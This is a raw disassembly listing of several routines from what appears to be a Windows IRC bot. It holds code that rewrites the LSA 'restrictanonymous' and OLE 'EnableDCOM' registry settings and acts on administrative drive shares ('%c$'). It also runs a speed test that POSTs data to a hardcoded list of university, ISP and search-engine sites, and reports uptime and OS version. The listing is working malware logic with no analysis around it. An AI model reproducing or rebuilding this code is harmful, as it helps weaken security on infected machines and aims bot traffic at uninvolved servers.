		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6A4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB658	; RegSetValueExA
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_43A270
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------


loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_43A23C


loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB610	; RegCloseKey
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------


loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_43A200
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------


loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_43A1D0


loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB72C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB578
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_43A098


loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_43A1AC
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_43A180


loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_43A0B8
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------


loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C


loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_43A15C
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------


loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_43A130


loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi


loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB6C4


loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_43A108
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------


loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A0D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB704, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6A4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438E2C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB658	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_43A488
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------


loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_43A46C


loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB610	; RegCloseKey
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------


loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A2C0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6A4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB658	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_43A42C
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_43A3F4


loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB610	; RegCloseKey
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_43A3B8
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------


loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_43A1D0


loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB72C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_43A098
		mov	edi, 200h


loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_43A398
		jmp	short loc_41A341
; ---------------------------------------------------------------------------


loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_43A370


loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0A8
		jb	short loc_41A321
		call	dword_427190	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A


loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB694	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_43A398
		jmp	short loc_41A412
; ---------------------------------------------------------------------------


loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_43A370


loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B


loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A340
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A0D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CB634	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB6B4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB5DC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi	; GetTickCount
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433EE4 ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]


loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------


loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx


loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB684	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7


loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]


loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798


loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax


loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax


loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax


loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------


loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi


loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------


loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi


loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------


loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi


loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A4E0
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_4270A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB900
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	dword_4270C8	; GetVersionExA
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi


loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952


loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------


loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B


loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7


loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi


loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



